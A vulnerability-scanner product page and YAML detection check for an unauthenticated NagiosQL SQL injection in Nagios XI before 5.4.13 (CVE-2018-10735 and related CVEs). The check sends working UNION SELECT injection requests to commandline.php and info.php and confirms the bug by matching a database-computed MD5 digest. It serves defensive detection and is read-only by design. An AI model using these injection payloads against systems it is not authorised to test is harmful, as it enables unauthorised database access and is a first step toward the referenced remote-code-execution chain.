Nagios XI — 1 vulnerability check

noctis ships 1 vulnerability check for Nagios XI, covering 10 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Nagios XI < 5.4.13 NagiosQL unauthenticated SQL injection (commandline.php / info.php)

CVECVE-2018-10735, CVE-2018-10736, CVE-2018-10737, CVE-2018-10738, CVE-2018-25121, CVE-2018-25122, CVE-2018-8733, CVE-2018-8734, CVE-2018-8735, CVE-2018-8736
Severityhigh · CVSS 7.2
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, tcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/nagios-xi/CVE-2018-10735.yaml

Nagios XI before 5.4.13 lets an unauthenticated attacker reach the NagiosQL admin pages (auth redirect without exit, CVE-2018-8733) and inject SQL through the commandline.php `cname` (CVE-2018-10735) and info.php `key1` (CVE-2018-10736) parameters. Detection sends a read-only UNION SELECT md5(<per-run random>) and confirms the database-computed digest in the response, without rewriting any configuration.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET /nagiosql/admin/commandline.php?cname=%27%20union%20select%20concat(md5({{nonce}}))%2…
  4. Parses / computes the next value with a Rhai script
  5. Checks verdict_cmd for NOCTIS_NAGIOSQL_SQLI_CONFIRMED → finding QoD 75: Nagios XI NagiosQL unauthenticated SQLi (CVE-2018-10735): GET /nagiosql/admin/commandline.php?cname=' union select concat(md5(…))# returned…
  6. Raw TCP (TLS on HTTPS), sent verbatim: GET /nagiosql/admin/info.php?key1=%27%20union%20select%20concat(md5({{nonce}}))%23 HTTP/1…
  7. Parses / computes the next value with a Rhai script
  8. Checks verdict_info for NOCTIS_NAGIOSQL_SQLI_CONFIRMED → finding QoD 75: Nagios XI NagiosQL unauthenticated SQLi (CVE-2018-10736): GET /nagiosql/admin/info.php?key1=' union select concat(md5(…))# returned the dat…

References:

Feed source — tests/vulnerabilities/nagios-xi/CVE-2018-10735.yaml
# Nagios XI < 5.4.13 — NagiosQL unauthenticated SQL injection (CVE-2018-10735 et al.)
#
# Nagios XI 5.2.x–5.4.12 ships the NagiosQL core config manager under /nagiosql/.
# Its admin pages redirect an unauthenticated visitor to the login page but do not
# stop executing (CVE-2018-8733): the 302 response still carries the full page
# output. admin/commandline.php feeds the `cname` parameter (CVE-2018-10735) and
# admin/info.php the `key1` parameter (CVE-2018-10736) unescaped into a SELECT
# whose single column is echoed back. These are the first links of the public
# chained RCE (Metasploit nagios_xi_chained_rce_2_electric_boogaloo).
#
# Ported from OpenVAS/Greenbone NVT 2018/nagios/gb_nagios_xi_mult_vuln_mar18_active.nasl
# (GPL-2.0-only), with one deliberate deviation. The NASL POSTs a full NagiosQL
# settings form to helpedit.php / settings.php — i.e. it REWRITES the target's
# NagiosQL configuration (DB credentials, paths, language) to stock defaults and
# then matches page markers. This feed never writes anything: it proves the bug
# with a read-only UNION SELECT instead.
#
# Detection (confirmed SQL execution) — read-only, no stored state changed:
#   * mint a per-run random integer N and compute md5(N) locally;
#   * GET commandline.php?cname=' union select concat(md5(N))#   (CVE-2018-10735)
#   * if not confirmed, GET info.php?key1=' union select concat(md5(N))#  (CVE-2018-10736)
#   The request only carries the expression md5(N), never the digest, so a page
#   that merely reflects the parameter cannot produce the match: only a database
#   that executed the injected SELECT returns this run's md5(N). Fixed 5.4.13
#   answers 403 / escapes the parameter → no digest → no finding.
#
# The query string carries %27/%20/%23 encodings; it is sent verbatim over
# tcp_connect (HTTP/1.0) so nothing is normalised and the 302 body is read as-is
# (no redirect following). Matched on resp.banner.
uid: a2690654-4f9d-4ed4-b920-8281a7f0193b
name: "Nagios XI < 5.4.13 NagiosQL unauthenticated SQL injection (commandline.php / info.php)"
description: |
  Nagios XI before 5.4.13 lets an unauthenticated attacker reach the NagiosQL admin
  pages (auth redirect without exit, CVE-2018-8733) and inject SQL through the
  commandline.php `cname` (CVE-2018-10735) and info.php `key1` (CVE-2018-10736)
  parameters. Detection sends a read-only UNION SELECT md5(<per-run random>) and
  confirms the database-computed digest in the response, without rewriting any
  configuration.
cves: [CVE-2018-10735, CVE-2018-10736, CVE-2018-10737, CVE-2018-10738, CVE-2018-25121, CVE-2018-25122, CVE-2018-8733, CVE-2018-8734, CVE-2018-8735, CVE-2018-8736]
cvss: 7.2
severity: high
category: sqli
confidence_base: 0.30
tags: [nagios, nagios-xi, nagiosql, sqli, auth-bypass, unauthenticated, openvas, web-application-abuses]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2018-10735"
  - "https://nvd.nist.gov/vuln/detail/CVE-2018-10736"
  - "https://nvd.nist.gov/vuln/detail/CVE-2018-8733"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-10735.yaml"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/nagios_xi_chained_rce_2_electric_boogaloo.rb"
  - "OpenVAS/Greenbone NASL 2018/nagios/gb_nagios_xi_mult_vuln_mar18_active.nasl (GPL-2.0-only)"

steps:
  # 1 — per-run random operand; the digest is computed locally, never sent.
  - id: mint-nonce
    action: script
    store_as: nonce
    code: |
      rand_int(1000000000, 2000000000).to_string()

  - id: compute-expected
    action: script
    store_as: expected
    code: |
      md5(nonce)

  # Pre-init the stored results: a refused/failed connect leaves store_as unset,
  # and an undefined variable would abort the verdict scripts.
  - id: init-resp-cmd
    action: set_var
    var_name: resp_cmd
    var_value: ""

  - id: init-resp-info
    action: set_var
    var_name: resp_info
    var_value: ""

  # 2 — CVE-2018-10735: commandline.php `cname`.
  - id: probe-commandline
    action: tcp_connect
    port: "{{port}}"
    send: "GET /nagiosql/admin/commandline.php?cname=%27%20union%20select%20concat(md5({{nonce}}))%23 HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: noctis\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: resp_cmd

  - id: verdict-commandline
    action: script
    store_as: verdict_cmd
    code: |
      if type_of(resp_cmd) == "map" && type_of(resp_cmd.banner) == "string" && stridx(resp_cmd.banner, expected) >= 0 {
        "NOCTIS_NAGIOSQL_SQLI_CONFIRMED"
      } else {
        "none"
      }

  - id: confirm-commandline
    action: match
    source: verdict_cmd
    pattern: "NOCTIS_NAGIOSQL_SQLI_CONFIRMED"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "Nagios XI NagiosQL unauthenticated SQLi (CVE-2018-10735): GET /nagiosql/admin/commandline.php?cname=' union select concat(md5({{nonce}}))# returned the database-computed digest {{expected}}"
      stop: true

  # 3 — CVE-2018-10736: info.php `key1` (only reached when commandline.php did not confirm).
  - id: probe-info
    action: tcp_connect
    port: "{{port}}"
    send: "GET /nagiosql/admin/info.php?key1=%27%20union%20select%20concat(md5({{nonce}}))%23 HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: noctis\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: resp_info

  - id: verdict-info
    action: script
    store_as: verdict_info
    code: |
      if type_of(resp_info) == "map" && type_of(resp_info.banner) == "string" && stridx(resp_info.banner, expected) >= 0 {
        "NOCTIS_NAGIOSQL_SQLI_CONFIRMED"
      } else {
        "none"
      }

  - id: confirm-info
    action: match
    source: verdict_info
    pattern: "NOCTIS_NAGIOSQL_SQLI_CONFIRMED"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "Nagios XI NagiosQL unauthenticated SQLi (CVE-2018-10736): GET /nagiosql/admin/info.php?key1=' union select concat(md5({{nonce}}))# returned the database-computed digest {{expected}}"
      stop: true

View these feeds on GitHub